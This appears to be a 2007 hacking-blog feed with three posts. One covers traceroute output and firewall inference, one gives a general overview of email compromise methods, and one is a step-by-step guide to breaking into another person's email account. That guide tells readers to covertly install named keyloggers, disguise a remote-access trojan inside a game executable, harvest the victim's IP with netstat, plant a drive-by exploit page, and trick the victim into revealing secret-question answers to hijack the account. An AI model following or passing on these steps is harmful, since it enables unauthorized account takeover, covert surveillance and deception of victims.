203.200.87.75&lt;br /&gt;&lt;br /&gt;6 141 ms 137 ms 121 ms 203.200.87.15&lt;br /&gt;&lt;br /&gt;7 143 ms 170 ms 154 ms vsb-delhi-stm1.Bbone.vsnl.net.in [202.54.2.241]&lt;br /&gt;&lt;br /&gt;8 565 ms 589 ms 568 ms if-7-0.bb8.NewYork.Teleglobe.net [207.45.198.65]&lt;br /&gt;&lt;br /&gt;9 596 ms 584 ms 600 ms if-3-0.core2.NewYork.teleglobe.net [207.45.221.66]&lt;br /&gt;&lt;br /&gt;10 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;11 703 ms 701 ms 719 ms if-3-0.core2.PaloAlto.Teleglobe.net [64.86.83.205]&lt;br /&gt;&lt;br /&gt;12 694 ms 683 ms 681 ms if-6-1.core1.PaloAlto.Teleglobe.net [207.45.202.33]&lt;br /&gt;&lt;br /&gt;13 656 ms 677 ms 700 ms ix-5-0.core1.PaloAlto.Teleglobe.net [207.45.196.90]&lt;br /&gt;&lt;br /&gt;14 667 ms 673 ms 673 ms ge-1-3-0.msr1.pao.yahoo.com [216.115.100.150]&lt;br /&gt;&lt;br /&gt;15 653 ms 673 ms 673 ms vl20.bas1.snv.yahoo.com [216.115.100.225]&lt;br /&gt;&lt;br /&gt;16 666 ms 676 ms 674 ms yahoo.com [216.115.108.243]&lt;br /&gt;&lt;br /&gt;Trace complete.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: Here I have traced yahoo.com. In place of yahoo.com you can give the IP of yahoo or any other IP you want to trace, the result will be the same.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now carefully looking at the results you can figure out many information about yahoo’s server [216.115.108.243]&lt;br /&gt;&lt;br /&gt;First packets of data leave my ISP which is at 203.94.246.35 .Similarly you can find out the different routers through which the packets of data are send and received to and from the target system. Now take a look at the 13th line you’ll see that the router is in PaloAlto.Teleglobe.net from this you can easily figure out that the router is in Palo Alto. Now finally look at the target system ie. Yahoo’s server vl20.bas1.snv.yahoo.com . Now you got the address of yahoo’s server. Now put this address in any IP lookup programe and perform and reverse DNS lookup and you will get most of the info about this address,like the place where it is in.&lt;br /&gt;&lt;br /&gt;Well another thing you can find out using the tracert tool is that the number of hops (routers) the target system is away from you. In case of tracerouting yahoo.com we find that the target system ie yahoo’s server is 16 hops away from my system. This indicates that there are 16 routers between my system and yahoo’s server.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Apart from tracing an IP you can find out many usefull details about the target system using the tracert tool.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Firewall Detection&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;While tracerouting a target system, if you get * as an output then it indicates timeout error. Now if you peform another tracerout to the same taeget system at some other time with a good connection and in this way few times more and if you always get * as the output then take it for sure that the target system is running a firewall which prevents sending of data packets from the target system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Example&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Some days ago I tried to tracert hotmail’s server in plain and simple way using tracert without any trick.This is what I found out :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;c:\windows&gt;tracert 64.4.53.7&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tracing route to lc2.law5.hotmail.com [64.4.53.7]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;over a maximum of 30 hops:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;2 161 ms 147 ms 85 ms 203.90.69.81&lt;br /&gt;&lt;br /&gt;3 126 ms 261 ms 219 ms 203.90.66.9&lt;br /&gt;&lt;br /&gt;4 121 ms 115 ms 228 ms delswp2.hclinfinet.com [203.90.66.133]&lt;br /&gt;&lt;br /&gt;5 727 ms 725 ms 711 ms 203-195-147-250.now-india.net.in [203.195.147.250]&lt;br /&gt;&lt;br /&gt;6 1006 ms 794 ms 952 ms core-fae-0-0.now-india.net.in [203.195.147.3]&lt;br /&gt;&lt;br /&gt;7 826 ms 731 ms 819 ms 213.232.106.9&lt;br /&gt;&lt;br /&gt;8 885 ms 744 ms 930 ms 213.166.3.209&lt;br /&gt;&lt;br /&gt;9 851 ms 1020 ms 1080 ms 213.232.64.54&lt;br /&gt;&lt;br /&gt;10 1448 ms 765 ms 1114 ms pos8-0.core2.London1.Level3.net [212.113.0.118]&lt;br /&gt;&lt;br /&gt;11 748 ms 789 ms 750 ms ge-4-2-1.mp2.London1.Level3.net [212.187.131.146]&lt;br /&gt;&lt;br /&gt;12 719 ms 733 ms 846 ms so-3-0-0.mp1.London2.Level3.net [212.187.128.46]&lt;br /&gt;&lt;br /&gt;13 775 ms 890 ms 829 ms so-1-0-0.mp2.Weehawken1.Level3.net [212.187.128.138]&lt;br /&gt;&lt;br /&gt;14 853 ms 852 ms 823 ms so-3-0-0.mp1.SanJose1.Level3.net [64.159.1.129]&lt;br /&gt;&lt;br /&gt;15 889 ms 816 ms 803 ms so-7-0-0.gar1.SanJose1.Level3.net [64.159.1.74]&lt;br /&gt;&lt;br /&gt;16 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;17 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;18 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;19 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;20 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;21 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;22 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;23 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;24 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;25 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;26 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;27 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;28 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;29 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;30 * * * Request timed out.&lt;br /&gt;&lt;br /&gt;Trace complete.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I performed the same tracert many times a day but concluded with the same result. This indicates that the systems after the router SanJose1.Level3.net has firewalls installed which prevents the outgoing of data packets.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Detecting Traceroute Attempts on your System&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can detect that an attacker is performing a traceroute on your system, if you see the following symptoms:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. If you observe port scans on very high UDP ports. This symptom means that the attacker has performed a traceroute on your system. However, it could also mean a simply port scan. Either way, it signifies the fact that your system is being scanned.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. If the packet-monitoring tool installed in your network, picks up several outgoing TTL-exceeding messages, then it is yet another sign that someone is doing a traceroute on your system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. If in these log files, you also observer an outgoing ICMP port unreachable error message, then it means that since a traceroute was done on your system and as the target system i.e. your system, was reached, it responded with this error message.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can also find our more information on the attacker (if he performs a traceroute on your system) by simply studying the sniffer log files. If you observer the TTL values, then we can easily figure out the following information on the attacker by making use of OS detection techniques discussed earlier in this white paper:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Operating System running on the attacker’s target system.&lt;br /&gt;Number of hops away, the attacker is from you.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;OKI DOKI that’s all for this article. Hope you will find this article very easy to understand and implement.&lt;br /&gt;do check:&lt;br /&gt;http://hackersclub.focusindia.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-3350987451811062650?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/3350987451811062650/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=3350987451811062650' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/3350987451811062650'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/3350987451811062650'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/ip-address-hacking.html' title='IP address hacking'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-6417397663866426566</id><published>2007-08-27T07:33:00.000-07:00</published><updated>2007-08-27T07:35:25.179-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='हैक हक्किंग ईमेल टिप्स त्रिक्क्स'/><title type='text'>More in Email Hacking</title><content type='html'>This is a sub Page.. check d site for more ZContents&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Almost every one of us has heard a friend complaining that his email account has been hacked. Or it may have happened to you. The truth is that hacking yahoo messenger accounts or any other kind of email provider account has become quite a problem for users.&lt;br /&gt;MSN password hacking or hacking yahoo accounts is no longer the realm of experts.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thanks to the widespread use of the internet, any hacker can learn the required tricks to master the art of hacking yahoo ids or hotmail email password hacking. He only needs to make a basic search with keywords like hacking yahoo passwords, msn messenger hacking tools, msn hacking programs, hacking yahoo mail, hotmail hacking programs, hacking yahoo email or even something as simple as hotmail hacking guide. All of that is out there, ready to be learnt.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Can Emails Be Hacked?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Yes. As a matter of fact, almost anything can be hacked in the Internet. The problem is that email accounts are the repositories were people store their private information or even their business data. It is a quite serious condition and most of the mail providers have taken some measures for stopping it. Unfortunately, users don't take them seriously and they don't follow the precautions.&lt;br /&gt;&lt;br /&gt;There are several methods for hacking yahoo, msn or AOL email accounts. One of these methods is social engineering. Considered a revolutionary art among the hacker community, it has proven to be an interesting tool that can be exploited by anyone.&lt;br /&gt;&lt;br /&gt;Social engineering consists in the ability to trick someone in believing that he is giving information to someone who has the authority to ask for it. The most common way to do it is through the telephone or via the internet. Let's say that a user receives a call from someone who identifies himself as a system administrator of his company and that he requires some information that could be considered harmless.&lt;br /&gt;&lt;br /&gt;It's quite probable that that bit of information is the final piece that the hacker required for finishing his work. Something as innocent as when was the last time that the system asked the user to change his password could be used by him in his advantage.&lt;br /&gt;&lt;br /&gt;A quite ingenious method within social engineering was a webpage were users required to enter their mail and password for finding if someone had deleted or blocked them from their Instant Messenger (IM). Unfortunately, many fell under this scheme. Hacking yahoo messenger or any other messenger is quite easy if you find how to exploit the user's needs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Alternatives used&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Besides social engineering, hackers can obtain your password through other means, like worms, viruses or Trojans. Once a hacker is inside your computer, he will look for those files&lt;br /&gt;were your login names and passwords are stored. That's they reason why it isn't considered&lt;br /&gt;safe to store them inside your computer. Even when the provider tells you that it is safe. Remember than there isn't a more secure place for keeping your password than your mind.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Methods Used In The Past !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In the past, one of the common practices used by hacker was using programs that tried different password combinations until it found the correct one. This method was contra rested by email providers by giving a limited number of options or by placing some security measures inside their webpage.&lt;br /&gt;&lt;br /&gt;Other method was placing false web pages instead of the original ones. A hacker could make a user think that he is accessing his email at the webpage of his email provider. In reality, he was entering all his information to a webpage created by the hacker. This scheme isn't used any more since users have become a bit more careful and have acquired some concepts on internet security. They have started using secure pages for login which starts&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What Are Keyloggers?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Keyloggers are specially devised programs that are installed inside a computer via a Trojan, a virus or a worm. Once inside, the keylogger will auto execute and start recording all the key strokes made by the computer user. Once a determined period of time has gone by, the keylogger will send the keystroke information to the hacker who sent this infectious software.&lt;br /&gt;&lt;br /&gt;Then the hacker will start searching key combinations that can lead him to determine the password for determined web pages. This simple and effective method is a favorite among hackers since it can provide them with lots of private information from their victims.&lt;br /&gt;&lt;br /&gt;Many computer users have more than one email account, especially if they use the messenger services from multiple providers, like Microsoft's Hotmail, Yahoo's Email or AOL email. It doesn't matter if you have one or many email accounts, every one of them may be a victim of a hacker. Even with the security measures imposed by the companies, Yahoo password hacking or hotmail hacking still exist. And it's very improbable that will disappear.&lt;br /&gt;&lt;br /&gt;So, if you want to protect yourself from people who are hacking yahoo accounts or whose whole purpose in life is to do some MSN hacking, then increase the number of special characters in your password and try not to access your email account from a computer that is not yours. And that goes to IM's too. The ability for hacking yahoo messenger or any other IM provider it's a latent danger for all of us.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;LOCALLY STORED PASSWORDS&lt;br /&gt;&lt;br /&gt;Most browsers, including Internet Explorer® and Netscape®, the AOL® client, and Windows® Dial-Up Connections allow you the option to store passwords. These passwords are stored on the local machine and (depending upon where and how it is stored) there is usually a method of recovering these passwords. Storing any password locally is insecure and may allow the password to be recovered by anyone who has access to the local machine. While we are not currently aware of any program to recover locally stored AOL® passwords, we do not recommend that these are secure. Software does exist that can recover most of the other types of locally stored passwords.&lt;br /&gt;&lt;br /&gt;TROJAN&lt;br /&gt;&lt;br /&gt;A Trojan is a program that is sent to a user that allows an attacker to control functions of the target computer, recover information from the target or to delete or damage files on the target. The name Trojan is given because the program will usually come attached to some other program or file that entices you to run it. There are a wide variety of Trojans any number of which can be programmed to capture passwords as they are typed and to email or transmit them to a third party. To protect yourself against Trojans, you should never execute or download software or files that are not from a trusted source. It is critical that anyone working on internet use a virus protection program (which should catch most Trojans.) Note that since a Trojan requires the password to be typed or stored in order to be recovered, this is not an effective way to recover your own password. It could explain, however, how someone could lose their password to a hacker. Sending someone a Trojan program is certainly illegal and we do not recommend or condone this activity. A Trojan is unlikely to be effective in recovering a particular account password since it requires the target to install it. However, hackers will often bulk mail Trojans to thousands of people in the hope that a small percentage will get caught. Legitimate account holders who may have been caught by a Trojan and can authenticate themselves should contact their service provider to have their account passwords res&lt;br /&gt;&lt;br /&gt;SNIFFING&lt;br /&gt;If two people do not share the same computer, but do share the same network, it may be possible for one to sniff the others' packets as they sign-on. The traffic between your computer and the internet site you are accessing may be able to be recorded and decrypted or "played-back." This is not a simple attack to execute, but is possible if two people are close to one another and share a hub. Again, this is likely to be illegal and we do not condone this activity.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-6417397663866426566?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/6417397663866426566/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=6417397663866426566' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/6417397663866426566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/6417397663866426566'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/more-in-email-hacking.html' title='More in Email Hacking'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-415282840259879743</id><published>2007-08-27T07:30:00.000-07:00</published><updated>2007-08-27T07:32:14.135-07:00</updated><title type='text'>How to Break Into Email Accounts</title><content type='html'>Disclaimer : &lt;br /&gt;&lt;br /&gt;I do not endorse Hacking !&lt;br /&gt;This is meant for educational purpose only !&lt;br /&gt;I want u to know how others can try break into your Personal life !&lt;br /&gt;Beware !!&lt;br /&gt;&lt;br /&gt;This is a Genuine Article.&lt;br /&gt;Will try to add in as much as possible&lt;br /&gt;keep posting !&lt;br /&gt;comment on this article !&lt;br /&gt; &lt;br /&gt;Introduction&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I have written this tutorial to address a question that is all too commonly asked in any channel/chat room with "hack" in the title (asked in frequency to the point of harrassment really). So since this is a question that so many people ask, then I believe that there should at least be an answer available (regardless of the morality or "lameness" of such a question). So you as the reader are most likely reading this because you want to break into somebody's email account.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well, you must understand that there is no 1-2-3 process to anything. I will give you options to consider when persuing such a task, but it will ultimately be up to you to do this. This is what you want to do, and no matter what sort of offers you throw up at anybody, nobody is going to do this for you. There is no program that is going to do all this for you. Also don't forget that nobody is going to hold your hand and lead you through this. I'm offering you as the reader suggestions for ways you can address this task, and that is about all the help you are going to get from anybody. So now that I've made all that clear, let's begin...&lt;br /&gt;&lt;br /&gt;Things You Should Know&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As I mentioned in the previous section, there is no program that will do all this for you. Almost all the crackers you see out there will not work, because services like Hotmail, Yahoo!, etc. have it set so that it will lock you from that account after a certain number of login attempts. There are some rare exceptions, like some crackers for Yahoo! that are made for cracking "illegal" accounts, but the thing you must understand about those types of crackers is that they are built to crack SPECIFICALLY "illegal" names. They can not be used to target a specific account on Yahoo!, so don't try to use them for this purpose. Another thing you must know if you ask this question in any "hacker" chat room/channel (which I highly discourage), or if you read something on this topic, and you hear that you have to email some address and in any way have to give up your password in the process, do NOT believe this. This is a con used to trick gullible people into handing over their passwords. So don't fall for this. Well that concludes this section, now lets get to what you want to know.&lt;br /&gt;&lt;br /&gt;If You Have Physical Access&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I will start off with options you have if you have physical access to the computer of the user that you are targeting, because it is a lot easier if you do. One option you have, that you will hear a lot if you ask this question, and anybody bothers to answer is to use a keylogger. A keylogger is an excellent option, and probably the easiest. There are a lot of keyloggers out there, ranging from hardware keyloggers, to software keyloggers. For this task, you won't need to buy a hardware keylogger, since the only advantage to a hardware one is that you can grab passwords that are given to access a certain local user on the operating system used. There are a lot of software keyloggers out there, and you can feel free to check out www.google.com to look at your options. I will go ahead and toss a couple of keyloggers out to try for those of you who seem allergic to search engines. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;One option you have that is good for a free keylogger is Perfect Keylogger (which you can find at www.blazingtools.com/bpk.html). It works just fine, and has some nice options to keep it hidden from your average end user (computer user). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Another option you have, which is probably the best one you can get is Ghost Keylogger. It has a lot of options that will allow you to get the results of this program remotely (it will email you the results). However, this is not a free keylogger, so if you are wanting to get a copy you can look on the file sharing networks for a copy of the program, and the serial number for it (look on www.zeropaid.com for different file sharing clients you can try). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once you have whatever keylogger you are going to use downloaded, just install it onto the computer you are wanting to monitor, and wait till next time they login to their email account. You will then have the password for the account. Another option you have if they use Outlook to access their email account, is to copy the *.dbx files for their Outlook account onto a floppy, and extract the emails at home (the dbx file stores the files stored in each Outlook folder on a given account, meaning the received and sent emails). When you are on the computer of the user you are targeting, look in&lt;br /&gt;&lt;br /&gt;C:\Windows\ApplicationData\Identities\{ACblahblahblah}\Microsoft\ OutlookExpress\ and copy all the .dbx files onto a floppy. Then when you take the .dbx files back to your house, use DBXtract to extract the messages from these files. Check out the link below to download this program....&lt;br /&gt;&lt;br /&gt;www.download-freeware-shareware.com/Freeware-Internet.php?Type=4171&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Another option you have if you have physical access is to execute a RAT (Remote Administration Tool, you may know these programs as trojans) server on the computer. Of course, you do not have to have physical access to go this route, but it helps. What you must understand is that these tools are known threats, and the popular ones are quickly detected by antivirus software, and thusly taken care of. Even ISPs block incoming/outgoing traffic from the most popular ports used by these programs. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;One newcomer in the RAT market that you should know about is Project Leviathan. This program uses already existing services to host it's service, instead of opening up an entirely new port. This allows it to hide itself from any port detection tool/software firewall that may be in place. This of course will not guarantee that it's server program will not be detected by any antivirus software used (actually, if the user has kept up with his/her signature tables, then it WILL be detected), but it will give you more of a chance of holding access. Search the engines to download Project Leviathan...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once you have downloaded this tool, follow the instructions listed to install and use this program. However, since this RAT is a command line tool, you will still need another program set up on the user's computer in order to catch the desired password. For this, you can use Password Logger.. Google it&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once you have this downloaded, set it up on the targeted computer. The program will remain hidden, while logging any types of passwords into a .lst file in the same directory that you executed it on. Therefore, you can access this *.lst file through Project Leviathan remotely in order to retrieve the user's email password remotely. Well that pretty much concludes it for this section. At this very moment I can practically hear a lot of you thinking to yourselves "But, but I don't HAVE physical access!". No reason to worry, that's what the next section is for...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If You Don't Have Physical Access&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well of course most of you out there will say that you don't have physical access to your target's computer. That's fine, there still are ways you can gain access into the desired email account without having to have any sort of physical access. For this we are going to go back onto the RAT topic, to explain methods that can be used to fool the user into running the server portion of the RAT (again, a RAT is a trojan) of your choice. Well first we will discuss the basic "send file" technique. This is simply convincing the user of the account you want to access to execute the server portion of your RAT.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To make this convincing, what you will want to do is bind the server.exe to another *.exe file in order to not raise any doubt when the program appears to do nothing when it is executed. For this you can use the tool like any exe file to bind it into another program (make it something like a small game)...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On a side note, make sure the RAT of your choice is a good choice. The program mentioned in the previous section would not be good in this case, since you do need physical access in order to set it up. You will have to find the program of your choice yourself (meaning please don't ask around for any, people consider that annoying behavior).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you don't like any of those, I'm afraid you are going to have to go to www.google.com, and look for some yourself. Search for something like "optix pro download", or any specific trojan. If you look long enough, among all the virus notification/help pages, you should come across a site with a list of RATs for you to use (you are going to eventually have to learn how to navigate a search engine, you can't depend on handouts forever). Now back to the topic at hand, you will want to send this file to the specified user through an instant messaging service. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The reason why is that you need the ip address of the user in order to connect with the newly established server. Yahoo! Messenger, AOL Instant Messenger, it really doesn't matter. What you will do is send the file to the user. Now while this transfer is going on you will go to Start, then Run, type in "command", and press Enter. Once the msdos prompt is open, type in "netstat -n", and again, press enter. You will see a list of ip addresses from left to right. The address you will be looking for will be on the right, and the port it's established on will depend on the instant messaging service you are using. With MSN Messenger it will be remote port 6891, with AOL Instant Messenger it will be remote port 2153, with ICQ it will be remote port 1102, 2431, 2439, 2440, or 2476, and with Yahoo! Messenger it will be remote port 1614. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So once you spot the established connection with the file transfer remote port, then you will take note of the ip address associated with that port. So once the transfer is complete, and the user has executed the server portion of the RAT, then you can use the client portion to sniff out his/her password the next time he/she logs on to his/her account. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Don't think you can get him/her to accept a file from you? Can you at least get him/her to access a certain web page? Then maybe this next technique is something you should look into. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Currently Internet Explorer is quite vulnerable to an exploit that allows you to drop and execute .exe files via malicious scripting within an html document. For this what you will want to do is set up a web page, make sure to actually put something within this page so that the visitor doesn't get too entirely suspicious, and then imbed the below script into your web page so that the server portion of the RAT of your choice is dropped and executed onto the victim's computer...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;While you are at it, you will also want to set up an ip logger on the web page so that you can grab the ip address of the user so that you can connect to the newly established server. Here is the source for a php ip logger you can use on your page...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=539&amp;lngWId=8&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Just insert this source into your page along with the exedrop script, and you are set. Just convince the user to go to this page, and wait till the next time they type in their email password. However, what do you do if you can not contact this user in any way to do any of the above tricks. Well, then you definately have your work cut out for you. It doesn't make the task impossible, but it makes it pretty damn close to it. For this we will want to try info cracking. Info cracking is the process of trying to gather enough information on the user to go through the "Forgot my Password" page, to gain access into the email account. &lt;br /&gt;&lt;br /&gt;If you happen to know the user personally, then it helps out a lot. You would then be able to get through the birthday/ zipcode questions with ease, and with a little mental backtracking, or social engineering (talking) out the information from the user be able to get past the secret question. However, what do you do if you do not have this luxury? Well in this case you will have to do a little detective work to fish out the information you need. &lt;br /&gt;&lt;br /&gt;First off, if a profile is available for the user, look at the profile to see if you can get any information from the profile. Many times users will put information into their profile, that may help you with cracking the account through the "Forgot my Password" page (where they live, their age, their birthday if you are lucky). If no information is provided then what you will want to do is get on an account that the user does not know about, and try to strike conversation with the user. Just talk to him/her for a little while, and inconspicuously get this information out of the user (inconspicuously as in don't act like you are trying to put together a census, just make casual talk with the user and every once in a while ask questions like "When is your birthday?" and "Where do you live?", and then respond with simple, casual answers). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once you have enough information to get past the first page, fill those parts out, and go to the next page to find out what the secret question is. Once you have the secret question, you will want to keep making casual conversation with the user and SLOWLY build up to asking a question that would help you answer the secret question. Don't try to get all the information you need in one night or you will look suspicious. Patience is a virtue when info cracking. Just slowly build up to this question. For example, if the secret question is something like "What is my dog's name?", then you would keep talking with the user, and eventually ask him/her "So how many dogs do you have? ...Oh, that's nice. What are their names?". The user will most likely not even remember anything about his/her secret question, so will most likely not find such a question suspicious at all (as long as you keep it inconspicuous). So there you go, with a few choice words and a little given time, you have just gotten the user to tell you everything you need to know to break into his/her email account. The problem with this method is that once you go through the "Forgot my Password" page, the password will be changed, and the new password will be given to you. This will of course deny the original user access to his/her own account. But the point of this task is to get YOU access, so it really shouldn't matter. Anyways, that concludes it for this tutorial. Good luck...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-415282840259879743?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/415282840259879743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=415282840259879743' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/415282840259879743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/415282840259879743'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/how-to-break-into-email-accounts.html' title='How to Break Into Email Accounts'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>3</thr:total></entry></feed>
